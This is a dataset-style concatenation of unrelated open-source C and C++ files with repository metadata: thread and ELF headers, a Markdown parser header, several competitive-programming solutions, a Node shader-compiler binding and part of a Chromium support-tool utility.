* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef Threading_h
#define Threading_h
#include "wtf/Atomics.h"
#include "wtf/TypeTraits.h"
#include "wtf/WTFExport.h"
#include <stdint.h>
// For portability, we do not make use of C++11 thread-safe statics, as
// supported by some toolchains. Make use of double-checked locking to reduce
// overhead. Note that this uses system-wide default lock, and cannot be used
// before WTF::initializeThreading() is called.
#define DEFINE_THREAD_SAFE_STATIC_LOCAL(T, name, initializer) \
/* Init to nullptr is thread-safe on all implementations. */ \
static void* name##Pointer = nullptr; \
if (!WTF::acquireLoad(&name##Pointer)) { \
WTF::lockAtomicallyInitializedStaticMutex(); \
if (!WTF::acquireLoad(&name##Pointer)) { \
std::remove_const<T>::type* initializerResult = initializer; \
WTF::releaseStore(&name##Pointer, initializerResult); \
} \
WTF::unlockAtomicallyInitializedStaticMutex(); \
} \
T& name = *static_cast<T*>(name##Pointer)
namespace WTF {
#if OS(WIN)
typedef uint32_t ThreadIdentifier;
#else
typedef intptr_t ThreadIdentifier;
#endif
WTF_EXPORT ThreadIdentifier currentThread();
WTF_EXPORT void lockAtomicallyInitializedStaticMutex();
WTF_EXPORT void unlockAtomicallyInitializedStaticMutex();
#if ENABLE(ASSERT)
WTF_EXPORT bool isAtomicallyInitializedStaticMutexLockHeld();
WTF_EXPORT bool isBeforeThreadCreated();
WTF_EXPORT void willCreateThread();
#endif
} // namespace WTF
using WTF::ThreadIdentifier;
using WTF::currentThread;
#endif // Threading_h
| [
"enrico.weigelt@gr13.net"
] | enrico.weigelt@gr13.net |
89bcb465207f1a28b249587bdc5c2e16eb3027db | a0351557a8661882ab20b11eeea695dac37a6585 | /src/MarkdownParserClass.h | 85db95ba4bf56bcee788c601b9c2e7490c3ecec8 | [
"WTFPL"
] | permissive | dertuxmalwieder/blogcpp | 1c9c658a8b70098fd9efe54e18a14d069050c0b5 | 6dff9007f46c86a1370d43811c513a54fc379802 | refs/heads/master | 2022-02-02T16:26:09.776504 | 2022-01-15T02:22:33 | 2022-01-15T02:22:33 | 236,352,538 | 19 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,209 | h | /*
* blogcpp :: https://www.blogcpp.org
* Markdown-to-HTML class [header].
*/
#ifndef MARKDOWN_PARSER_H
#define MARKDOWN_PARSER_H // Once is enough.
#include <string>
#include <iostream>
#include <sstream>
#include <regex>
#include <vector>
#include <unordered_map>
#include <stdexcept>
#include "MediaEmbedderClass.h"
#include "MarkdownReturnClass.h"
#include "constants.h"
#ifdef WITH_DEBUGLOG
#include "DebugClass.h"
#endif
using namespace std;
class MarkdownParser {
public:
MarkdownReturn markdownify(string inputtext, bool basic_markdown, bool no_emojis);
void prepare(string posttxt);
void parse(const string inputline);
string getParsedText() { return full_markdown_text; }
vector<string> getCodeLanguages() { return used_code_languages; }
void cleanup();
MarkdownParser(bool basic_markdown, bool add_embeds);
private:
string full_markdown_text;
vector<string> used_code_languages;
unordered_map<int, string> legend_urls;
stringstream ss_codelang;
bool in_blockquote;
bool in_ol;
bool in_ul;
bool in_code;
bool in_raw_html;
bool dont_add_paragraphs;
bool dont_use_full_markdown;
bool use_embeds;
};
#endif
| [
"Cthulhux@noemail.net"
] | Cthulhux@noemail.net |
0b4e14c9f80f82bade6a4043c3cf5fcf9732fcf3 | 6984711a1a5b950fb8be1cc91140e2d03d42c589 | /official/13.cpp | 973a1101e0e92f572d9b2b029d227453e0631aa1 | [] | no_license | chizhizhen/leetcode | e51ebcc12145931a75335c4c6bdf20771d9dfb9f | 0b800d65d24bc0c408389dac1faf73728da859ea | refs/heads/master | 2021-01-18T07:36:38.555353 | 2020-04-14T01:44:45 | 2020-04-14T01:44:45 | 255,483,026 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 953 | cpp | #include <iostream>
#include <vector>
#include <map>
#include <stdlib.h>
using namespace std;
class Solution {
public:
int romanToInt(string s) {
int out = 0;
for (int i = 0; i < s.size()-1; i++) {
if (_dict[s[i+1]] > _dict[s[i]]) {
out -= _dict[s[i]];
} else if (_dict[s[i+1]] <= _dict[s[i]] ) {
out += _dict[s[i]];
}
}
return out + _dict[s[s.size()-1]];
};
private:
map<char, int> _dict = {{'I',1},{'V',5},{'X',10},{'L',50},{'C',100},{'D',500},{'M',1000}};
//map<int, string> _dict = {{1,"I"},{5,"V"},{10,"X"},{50,"L"},{100,"C"},{500,"D"},{1000,"M"}};
vector<int> _list = {1,5,10,50,100,500,1000};
};
int main(int argc, char* argv[]) {
//string A = "LVIII";
string A = "MCMXCIV";
Solution solution;
int out = solution.romanToInt(A);
cout << "out: " << out << endl;
cout << "Congratulations!" << endl;
}
| [
"zhizhenchi@gmail.com"
] | zhizhenchi@gmail.com |
05cfdbe1ebf94c024f3f1c89073a361b85e75112 | be3167504c0e32d7708e7d13725c2dbc9232f2cb | /mameppk/3rdparty/bgfx/3rdparty/glsl-optimizer/src/node/compiler.cpp | 3cd759b6916e3ff41b13c3b7f42be372557677d2 | [
"MIT",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause"
] | permissive | sysfce2/MAME-Plus-Plus-Kaillera | 83b52085dda65045d9f5e8a0b6f3977d75179e78 | 9692743849af5a808e217470abc46e813c9068a5 | refs/heads/master | 2023-08-10T06:12:47.451039 | 2016-08-01T09:44:21 | 2016-08-01T09:44:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,017 | cpp | #include "compiler.h"
using namespace v8;
using namespace node;
Persistent<Function> Compiler::constructor;
//----------------------------------------------------------------------
Compiler::Compiler(glslopt_target target)
{
_binding = glslopt_initialize(target);
}
//----------------------------------------------------------------------
Compiler::~Compiler()
{
release();
}
//----------------------------------------------------------------------
void Compiler::release()
{
if (_binding)
{
glslopt_cleanup(_binding);
_binding = 0;
}
}
//----------------------------------------------------------------------
void Compiler::Init(Handle<Object> exports)
{
NanScope();
// Prepare constructor template
Local<FunctionTemplate> tpl = NanNew<FunctionTemplate>(New);
tpl->SetClassName(NanNew<String>("Compiler"));
tpl->InstanceTemplate()->SetInternalFieldCount(1);
// Prototype
NanSetPrototypeTemplate(tpl, "dispose", NanNew<FunctionTemplate>(Dispose));
// Export the class
NanAssignPersistent<Function>(constructor, tpl->GetFunction());
exports->Set(NanNew<String>("Compiler"), tpl->GetFunction());
}
//----------------------------------------------------------------------
NAN_METHOD(Compiler::New)
{
NanScope();
if (args.IsConstructCall()) {
glslopt_target target = kGlslTargetOpenGL;
if (args[0]->IsInt32())
target = (glslopt_target)args[0]->Int32Value();
else if (args[0]->IsBoolean())
target = (glslopt_target)( (int)args[0]->BooleanValue() );
Compiler* obj = new Compiler(target);
obj->Wrap(args.This());
NanReturnValue(args.This());
} else {
Local<Function> cons = NanNew<Function>(constructor);
NanReturnValue(cons->NewInstance());
}
}
//----------------------------------------------------------------------
NAN_METHOD(Compiler::Dispose)
{
NanScope();
Compiler* obj = ObjectWrap::Unwrap<Compiler>(args.This());
obj->release();
NanReturnUndefined();
}
| [
"mameppk@199a702f-54f1-4ac0-8451-560dfe28270b"
] | mameppk@199a702f-54f1-4ac0-8451-560dfe28270b |
f22796cf83473fa84b60b2c2cebfc213a1d53725 | b7f5801aedd56905b938cd6fd71e896afee22ab4 | /Mixed Level Problems/Root to Leaf Paths.cpp | 037a78e2953a31dbb5f63f19db09341cc54e80bb | [] | no_license | Sanket-Mathur/100-days-of-code | e892d59d0630e2d4d0583be0773112610f7b2623 | e23257475686b428cf54cbe2ff465c5d51a52d99 | refs/heads/main | 2023-08-31T11:53:59.280689 | 2021-10-16T07:46:38 | 2021-10-16T07:46:38 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,130 | cpp | // { Driver Code Starts
#include <bits/stdc++.h>
using namespace std;
#define MAX_HEIGHT 100000
// Tree Node
struct Node
{
int data;
Node* left;
Node* right;
};
// Utility function to create a new Tree Node
Node* newNode(int val)
{
Node* temp = new Node;
temp->data = val;
temp->left = NULL;
temp->right = NULL;
return temp;
}
vector<vector<int>> Paths(Node *root);
// Function to Build Tree
Node* buildTree(string str)
{
// Corner Case
if(str.length() == 0 || str[0] == 'N')
return NULL;
// Creating vector of strings from input
// string after spliting by space
vector<string> ip;
istringstream iss(str);
for(string str; iss >> str; )
ip.push_back(str);
// Create the root of the tree
Node* root = newNode(stoi(ip[0]));
// Push the root to the queue
queue<Node*> queue;
queue.push(root);
// Starting from the second element
int i = 1;
while(!queue.empty() && i < ip.size()) {
// Get and remove the front of the queue
Node* currNode = queue.front();
queue.pop();
// Get the current node's value from the string
string currVal = ip[i];
// If the left child is not null
if(currVal != "N") {
// Create the left child for the current node
currNode->left = newNode(stoi(currVal));
// Push it to the queue
queue.push(currNode->left);
}
// For the right child
i++;
if(i >= ip.size())
break;
currVal = ip[i];
// If the right child is not null
if(currVal != "N") {
// Create the right child for the current node
currNode->right = newNode(stoi(currVal));
// Push it to the queue
queue.push(currNode->right);
}
i++;
}
return root;
}
int main() {
int t;
string tc;
getline(cin, tc);
t=stoi(tc);
while(t--)
{
string s ,ch;
getline(cin, s);
Node* root = buildTree(s);
vector<vector<int>> paths = Paths(root);
for(int i = 0;i<paths.size();i++){
for(int j = 0;j<paths[i].size();j++){
cout<<paths[i][j]<<" ";
}
cout<<"#";
}
cout<<"\n";
}
return 0;
}
// } Driver Code Ends
/* Structure of Node
struct Node
{
int data;
Node* left;
Node* right;
};*/
/* The function should print all the paths from root
to leaf nodes of the binary tree */
void findPaths(Node* root, vector<vector<int>> &result, vector<int> inter) {
if (!root) {
return;
} else if (!root->left && !root->right) {
inter.push_back(root->data);
result.push_back(inter);
return;
} else {
inter.push_back(root->data);
findPaths(root->left, result, inter);
findPaths(root->right, result, inter);
}
}
vector<vector<int>> Paths(Node* root)
{
vector<vector<int>> result;
vector<int> inter;
findPaths(root, result, inter);
return result;
} | [
"rajeev.sanket@gmail.com"
] | rajeev.sanket@gmail.com |
3cc22657b1db9cb01748fe1f29306d3791e38727 | 387549ab27d89668e656771a19c09637612d57ed | /DRGLib UE project/Source/FSD/Public/TerrainLateJoinData.h | 3e65fc357fb509dd95c0668176ff39b8a9702f24 | [
"MIT"
] | permissive | SamsDRGMods/DRGLib | 3b7285488ef98b7b22ab4e00fec64a4c3fb6a30a | 76f17bc76dd376f0d0aa09400ac8cb4daad34ade | refs/heads/main | 2023-07-03T10:37:47.196444 | 2023-04-07T23:18:54 | 2023-04-07T23:18:54 | 383,509,787 | 16 | 5 | MIT | 2023-04-07T23:18:55 | 2021-07-06T15:08:14 | C++ | UTF-8 | C++ | false | false | 2,453 | h | #pragma once
#include "CoreMinimal.h"
#include "CSGBuildOperationData.h"
#include "CarveWithColliderOperationData.h"
#include "CarveWithSTLMeshOperationData.h"
#include "DrillOperationData.h"
#include "GrenadeExplodeOperationData.h"
#include "MeltOperationData.h"
#include "PickaxeDigOperationData.h"
#include "RemoveFloatingIslandOperationData.h"
#include "SplineSegmentCarveOperationData.h"
#include "TerrainSpawnDebrisOperationData.h"
#include "TerrainLateJoinData.generated.h"
USTRUCT(BlueprintType)
struct FTerrainLateJoinData {
GENERATED_BODY()
public:
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FGrenadeExplodeOperationData> Explosions;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FCarveWithColliderOperationData> ColliderCarves;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FCarveWithSTLMeshOperationData> MeshCarves;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FPickaxeDigOperationData> PickAxe;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FRemoveFloatingIslandOperationData> RemoveFloating;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FDrillOperationData> Drills;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FMeltOperationData> Melts;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FSplineSegmentCarveOperationData> Splines;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FCSGBuildOperationData> CSGBuilds;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<FTerrainSpawnDebrisOperationData> SpawnDebris;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<int32> DebrisInstanceComponentPairs;
UPROPERTY(EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
TArray<uint32> VisibleChunks;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true))
int32 OperationCount;
FSD_API FTerrainLateJoinData();
};
| [
"samamstar@gmail.com"
] | samamstar@gmail.com |
dfe62fe2afeb2335b24d862d9b788e1157f3857f | b0ebf0012becbff29736306a6c6d07f5c7f1747c | /Magic Powder - 1 - 670D1/main.cpp | 772c191b5931bbd13b3f75a6b57342aefa5a72a8 | [
"Unlicense"
] | permissive | Mu-selim/Codeforces | 92eff28809579bb7e0907e0addba5f976ac89ebe | d4e5d41102124774e0edea68b336a3db1851e882 | refs/heads/main | 2023-08-24T10:35:23.755425 | 2021-10-29T09:30:14 | 2021-10-29T09:30:14 | 401,451,224 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 792 | cpp | /* Muhammad Selim */
#include <bits/stdc++.h>
#define ll long long int
using namespace std;
void Fast()
{
cin.tie(0);
cin.sync_with_stdio(0);
}
int main()
{
Fast();
int n, k; cin >> n >> k;
vector<int> needed(n), find(n);
for (int i = 0; i < n; ++i)
{
cin >> needed[i];
}
for (int i = 0; i < n; ++i)
{
cin >> find[i];
}
int counter = 0;
while (true)
{
for (int i = 0; i < n; ++i)
{
if(find[i] >= needed[i])
find[i] -= needed[i];
else
{
k -= needed[i] - find[i];
find[i] = 0;
}
}
if(k >= 0)
counter ++;
else
break;
}
cout << counter;
return 0;
} | [
"noreply@github.com"
] | noreply@github.com |
9fc5a61e2268e32bf483ea91cb728eb88ff0c401 | 4a8b7c964b1919cc1c08901dbe61ac51f57d1377 | /zen/build/build_operation.hpp | 1064becd7bc8b676a9d6efa6182f0e676cab12ce | [
"Apache-2.0"
] | permissive | shauncroton/sg14 | b729d6d13122592831322811b49c5cb7c2d166f1 | 3e4932375ac0bcec3b38b8a7686589c888722830 | refs/heads/master | 2021-06-03T22:01:10.894487 | 2019-10-04T06:41:54 | 2019-10-04T06:41:54 | 58,722,014 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 451 | hpp | #ifndef __ZEN__BUILD_OPERATION__HPP
#define __ZEN__BUILD_OPERATION__HPP
///
///////////////////////////////////////////////////////////////////////////////////////////////////
///
#include <zen/build/operation/build_operation_test_case.hpp>
#include <zen/build/operation/build_operation_test_suite.hpp>
///
///////////////////////////////////////////////////////////////////////////////////////////////////
///
#endif // __ZEN__BUILD_OPERATION__HPP
| [
"shaun@croton.net"
] | shaun@croton.net |
c8a7a8dd4e727698811ac960a9274dc28ebe1441 | b591fbbd37b9b5e81d8f308f61d607fe7b145ed7 | /include/RE/B/BGSBehaviorGraphModel.h | 00474a302311e86b82249360fcceafa7c9366f18 | [
"MIT"
] | permissive | aquilae/CommonLibSSE | f6a1d321b16f2eb1e296f1154d697bd4bed549b6 | b8e6a72875b22c91dd125202dfc6a54f91cda597 | refs/heads/master | 2023-02-02T16:45:00.368879 | 2020-12-15T03:58:22 | 2020-12-15T03:58:22 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 370 | h | #pragma once
#include "RE/T/TESModel.h"
namespace RE
{
class BGSBehaviorGraphModel : TESModel
{
public:
inline static constexpr auto RTTI = RTTI_BGSBehaviorGraphModel;
virtual ~BGSBehaviorGraphModel(); // 00
// override (TESModel)
virtual void SetModel(const char* a_model) override; // 05
};
static_assert(sizeof(BGSBehaviorGraphModel) == 0x28);
}
| [
"ryan__mckenzie@hotmail.com"
] | ryan__mckenzie@hotmail.com |
03842e8467c808201f3b8486963c1f254da4b402 | 620d9122c87203abc4cd7798cf6fff47962f799d | /CMusic.h | 70afb7a49e4dcb69eb301ae1b52a4937f980c2b3 | [] | no_license | WindSearcher/hello | 92a5a6c43f9f174064dccf89210c7b6ab673b119 | 9a1f53b0044f59cec570681f028de21a34d606f8 | refs/heads/master | 2022-11-08T10:41:54.083974 | 2022-11-03T11:52:22 | 2022-11-03T11:52:22 | 139,856,750 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 698 | h | #ifndef _CMUSIC_H
#define _CMUSIC_H
#include <Windows.h>
#include <string>
#include <iostream>
#pragma comment(lib,"winmm.lib")
using namespace std;
class CMusic
{
private:
bool isOpen;
string mediaName;
string open_cmd;
string status_cmd;
string play_cmd;
string close_cmd;
static string ALIAS_NAME;
bool SendMciCmd(string cmd);
string GetMciStatus(string cmd);
void ClosePlayer();
void OpenMediaFile();
void PlayMediaFile();
public:
CMusic();
CMusic(string mediaName);
~CMusic() {};
void setMediaName(string mediaName)
{
this->mediaName = mediaName;
}
bool isStopped();
void Play();
void Stop();
};
#endif
| [
"noreply@github.com"
] | noreply@github.com |
dc622a7bccb0e9b2b8800d332b40b38d55114f13 | 2c148e207664a55a5809a3436cbbd23b447bf7fb | /src/content/test/mock_render_widget_host_delegate.cc | 21b765ec9bbf8b65774bec69d365c1ba2e4b6e11 | [
"BSD-3-Clause"
] | permissive | nuzumglobal/Elastos.Trinity.Alpha.Android | 2bae061d281ba764d544990f2e1b2419b8e1e6b2 | 4c6dad6b1f24d43cadb162fb1dbec4798a8c05f3 | refs/heads/master | 2020-05-21T17:30:46.563321 | 2018-09-03T05:16:16 | 2018-09-03T05:16:16 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,894 | cc | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/test/mock_render_widget_host_delegate.h"
#include "content/browser/renderer_host/render_widget_host_impl.h"
#include "content/browser/renderer_host/render_widget_host_view_base.h"
#include "content/public/browser/native_web_keyboard_event.h"
#include "ui/display/screen.h"
namespace content {
MockRenderWidgetHostDelegate::MockRenderWidgetHostDelegate() = default;
MockRenderWidgetHostDelegate::~MockRenderWidgetHostDelegate() = default;
void MockRenderWidgetHostDelegate::ResizeDueToAutoResize(
RenderWidgetHostImpl* render_widget_host,
const gfx::Size& new_size,
const viz::LocalSurfaceId& local_surface_id) {}
KeyboardEventProcessingResult
MockRenderWidgetHostDelegate::PreHandleKeyboardEvent(
const NativeWebKeyboardEvent& event) {
last_event_ = std::make_unique<NativeWebKeyboardEvent>(event);
return pre_handle_keyboard_event_result_;
}
void MockRenderWidgetHostDelegate::ExecuteEditCommand(
const std::string& command,
const base::Optional<base::string16>& value) {}
void MockRenderWidgetHostDelegate::Cut() {}
void MockRenderWidgetHostDelegate::Copy() {}
void MockRenderWidgetHostDelegate::Paste() {}
void MockRenderWidgetHostDelegate::SelectAll() {}
RenderWidgetHostImpl* MockRenderWidgetHostDelegate::GetFocusedRenderWidgetHost(
RenderWidgetHostImpl* widget_host) {
return !!focused_widget_ ? focused_widget_ : widget_host;
}
void MockRenderWidgetHostDelegate::SendScreenRects() {
if (rwh_)
rwh_->SendScreenRects();
}
TextInputManager* MockRenderWidgetHostDelegate::GetTextInputManager() {
return &text_input_manager_;
}
bool MockRenderWidgetHostDelegate::IsFullscreenForCurrentTab() const {
return is_fullscreen_;
}
} // namespace content
| [
"jiawang.yu@spreadtrum.com"
] | jiawang.yu@spreadtrum.com |
f960ea602c21a75aea741a8417a8bbab07e13d35 | 64e33ef0860a04a06c5ea7bd8b2159890f757d7d | /jni/art-kitkat-mr1.1-release/runtime/elf_file.h | e9873ac5b153fe0fe495d0b48eccd412b739b3af | [
"Apache-2.0"
] | permissive | handgod/soma | a16d5547d1b3a028ead86bd3531c0526568c74f5 | d64131f4d6f9543eacd1d4040b560df00555b2c8 | refs/heads/master | 2021-01-10T11:34:58.926723 | 2016-03-04T11:56:41 | 2016-03-04T11:56:41 | 53,018,560 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,649 | h | /*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef ART_RUNTIME_ELF_FILE_H_
#define ART_RUNTIME_ELF_FILE_H_
#include <map>
#include <vector>
#include <llvm/Support/ELF.h>
#include "base/unix_file/fd_file.h"
#include "globals.h"
#include "mem_map.h"
#include "os.h"
#include "UniquePtr.h"
namespace art {
// Used for compile time and runtime for ElfFile access. Because of
// the need for use at runtime, cannot directly use LLVM classes such as
// ELFObjectFile.
class ElfFile {
public:
static ElfFile* Open(File* file, bool writable, bool program_header_only);
~ElfFile();
// Load segments into memory based on PT_LOAD program headers
File& GetFile() const {
return *file_;
}
byte* Begin() {
return map_->Begin();
}
byte* End() {
return map_->End();
}
size_t Size() const {
return map_->Size();
}
::llvm::ELF::Elf32_Ehdr& GetHeader();
::llvm::ELF::Elf32_Word GetProgramHeaderNum();
::llvm::ELF::Elf32_Phdr& GetProgramHeader(::llvm::ELF::Elf32_Word);
::llvm::ELF::Elf32_Phdr* FindProgamHeaderByType(::llvm::ELF::Elf32_Word type);
::llvm::ELF::Elf32_Word GetSectionHeaderNum();
::llvm::ELF::Elf32_Shdr& GetSectionHeader(::llvm::ELF::Elf32_Word);
::llvm::ELF::Elf32_Shdr* FindSectionByType(::llvm::ELF::Elf32_Word type);
::llvm::ELF::Elf32_Shdr& GetSectionNameStringSection();
// Find .dynsym using .hash for more efficient lookup than FindSymbolAddress.
byte* FindDynamicSymbolAddress(const std::string& symbol_name);
static bool IsSymbolSectionType(::llvm::ELF::Elf32_Word section_type);
::llvm::ELF::Elf32_Word GetSymbolNum(::llvm::ELF::Elf32_Shdr&);
::llvm::ELF::Elf32_Sym& GetSymbol(::llvm::ELF::Elf32_Word section_type, ::llvm::ELF::Elf32_Word i);
// Find symbol in specified table, returning NULL if it is not found.
//
// If build_map is true, builds a map to speed repeated access. The
// map does not included untyped symbol values (aka STT_NOTYPE)
// since they can contain duplicates. If build_map is false, the map
// will be used if it was already created. Typically build_map
// should be set unless only a small number of symbols will be
// looked up.
::llvm::ELF::Elf32_Sym* FindSymbolByName(::llvm::ELF::Elf32_Word section_type,
const std::string& symbol_name,
bool build_map);
// Find address of symbol in specified table, returning 0 if it is
// not found. See FindSymbolByName for an explanation of build_map.
::llvm::ELF::Elf32_Addr FindSymbolAddress(::llvm::ELF::Elf32_Word section_type,
const std::string& symbol_name,
bool build_map);
// Lookup a string given string section and offset. Returns NULL for
// special 0 offset.
const char* GetString(::llvm::ELF::Elf32_Shdr&, ::llvm::ELF::Elf32_Word);
// Lookup a string by section type. Returns NULL for special 0 offset.
const char* GetString(::llvm::ELF::Elf32_Word section_type, ::llvm::ELF::Elf32_Word);
::llvm::ELF::Elf32_Word GetDynamicNum();
::llvm::ELF::Elf32_Dyn& GetDynamic(::llvm::ELF::Elf32_Word);
::llvm::ELF::Elf32_Word FindDynamicValueByType(::llvm::ELF::Elf32_Sword type);
::llvm::ELF::Elf32_Word GetRelNum(::llvm::ELF::Elf32_Shdr&);
::llvm::ELF::Elf32_Rel& GetRel(::llvm::ELF::Elf32_Shdr&, ::llvm::ELF::Elf32_Word);
::llvm::ELF::Elf32_Word GetRelaNum(::llvm::ELF::Elf32_Shdr&);
::llvm::ELF::Elf32_Rela& GetRela(::llvm::ELF::Elf32_Shdr&, ::llvm::ELF::Elf32_Word);
// Returns the expected size when the file is loaded at runtime
size_t GetLoadedSize();
// Load segments into memory based on PT_LOAD program headers.
// executable is true at run time, false at compile time.
bool Load(bool executable);
private:
ElfFile();
bool Setup(File* file, bool writable, bool program_header_only);
bool SetMap(MemMap* map);
byte* GetProgramHeadersStart();
byte* GetSectionHeadersStart();
::llvm::ELF::Elf32_Phdr& GetDynamicProgramHeader();
::llvm::ELF::Elf32_Dyn* GetDynamicSectionStart();
::llvm::ELF::Elf32_Sym* GetSymbolSectionStart(::llvm::ELF::Elf32_Word section_type);
const char* GetStringSectionStart(::llvm::ELF::Elf32_Word section_type);
::llvm::ELF::Elf32_Rel* GetRelSectionStart(::llvm::ELF::Elf32_Shdr&);
::llvm::ELF::Elf32_Rela* GetRelaSectionStart(::llvm::ELF::Elf32_Shdr&);
::llvm::ELF::Elf32_Word* GetHashSectionStart();
::llvm::ELF::Elf32_Word GetHashBucketNum();
::llvm::ELF::Elf32_Word GetHashChainNum();
::llvm::ELF::Elf32_Word GetHashBucket(size_t i);
::llvm::ELF::Elf32_Word GetHashChain(size_t i);
typedef std::map<std::string, ::llvm::ELF::Elf32_Sym*> SymbolTable;
SymbolTable** GetSymbolTable(::llvm::ELF::Elf32_Word section_type);
File* file_;
bool writable_;
bool program_header_only_;
// ELF header mapping. If program_header_only_ is false, will actually point to the entire elf file.
UniquePtr<MemMap> map_;
::llvm::ELF::Elf32_Ehdr* header_;
std::vector<MemMap*> segments_;
// Pointer to start of first PT_LOAD program segment after Load() when program_header_only_ is true.
byte* base_address_;
// The program header should always available but use GetProgramHeadersStart() to be sure.
byte* program_headers_start_;
// Conditionally available values. Use accessors to ensure they exist if they are required.
byte* section_headers_start_;
::llvm::ELF::Elf32_Phdr* dynamic_program_header_;
::llvm::ELF::Elf32_Dyn* dynamic_section_start_;
::llvm::ELF::Elf32_Sym* symtab_section_start_;
::llvm::ELF::Elf32_Sym* dynsym_section_start_;
const char* strtab_section_start_;
const char* dynstr_section_start_;
::llvm::ELF::Elf32_Word* hash_section_start_;
SymbolTable* symtab_symbol_table_;
SymbolTable* dynsym_symbol_table_;
};
} // namespace art
#endif // ART_RUNTIME_ELF_FILE_H_
| [
"943488158@qq.com"
] | 943488158@qq.com |
16e253d347216f424e886e5687f262dc3d1081c8 | 24bc4990e9d0bef6a42a6f86dc783785b10dbd42 | /chrome/browser/ui/webui/support_tool/support_tool_ui_utils.cc | 446c8ae16157cd16ef2b6bce0b7a005bf2ea4b8c | [
"BSD-3-Clause"
] | permissive | nwjs/chromium.src | 7736ce86a9a0b810449a3b80a4af15de9ef9115d | 454f26d09b2f6204c096b47f778705eab1e3ba46 | refs/heads/nw75 | 2023-08-31T08:01:39.796085 | 2023-04-19T17:25:53 | 2023-04-19T17:25:53 | 50,512,158 | 161 | 201 | BSD-3-Clause | 2023-05-08T03:19:09 | 2016-01-27T14:17:03 | null | UTF-8 | C++ | false | false | 15,308 | cc | // Copyright 2022 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/webui/support_tool/support_tool_ui_utils.h"
#include <map>
#include <set>
#include <string>
#include <vector>
#include "base/base64url.h"
#include "base/check.h"
#include "base/containers/contains.h"
#include "base/files/file_path.h"
#include "base/strings/string_piece_forward.h"
#include "base/strings/string_util.h"
#include "base/strings/stringprintf.h"
#include "base/time/time.h"
#include "base/values.h"
#include "build/chromeos_buildflags.h"
#include "chrome/browser/support_tool/data_collection_module.pb.h"
#include "chrome/browser/support_tool/data_collector.h"
#include "chrome/browser/support_tool/support_tool_util.h"
#include "components/feedback/redaction_tool/pii_types.h"
#include "net/base/url_util.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
#include "url/gurl.h"
namespace support_tool_ui {
const char kAndroidAppInfo[] = "Android App Information";
const char kSSID[] = "WiFi SSID";
const char kLocationInfo[] = "Location Info";
const char kEmail[] = "Email Address";
const char kGAIA[] = "Google Account ID";
const char kStableIdentifier[] =
"Other Stable Identifiers (e.g., Hashes or UUIDs)";
const char kIPPAddress[] = "Printing IPP Address";
const char kIPAddress[] = "IP Address";
const char kMACAddress[] = "Network MAC Address";
const char kWindowTitle[] = "Window Titles";
const char kURL[] = "URLs";
const char kSerial[] = "Device & Component Serial Numbers";
const char kRemovableStorage[] = "Removable Storage Names";
const char kEAP[] = "EAP Network Authentication Information";
const char kPiiItemDescriptionKey[] = "piiTypeDescription";
const char kPiiItemDetectedDataKey[] = "detectedData";
const char kPiiItemPIITypeKey[] = "piiType";
const char kPiiItemCountKey[] = "count";
const char kPiiItemKeepKey[] = "keep";
const char kSupportCaseIDQuery[] = "case_id";
const char kModuleQuery[] = "module";
const char kDataCollectorName[] = "name";
const char kDataCollectorProtoEnum[] = "protoEnum";
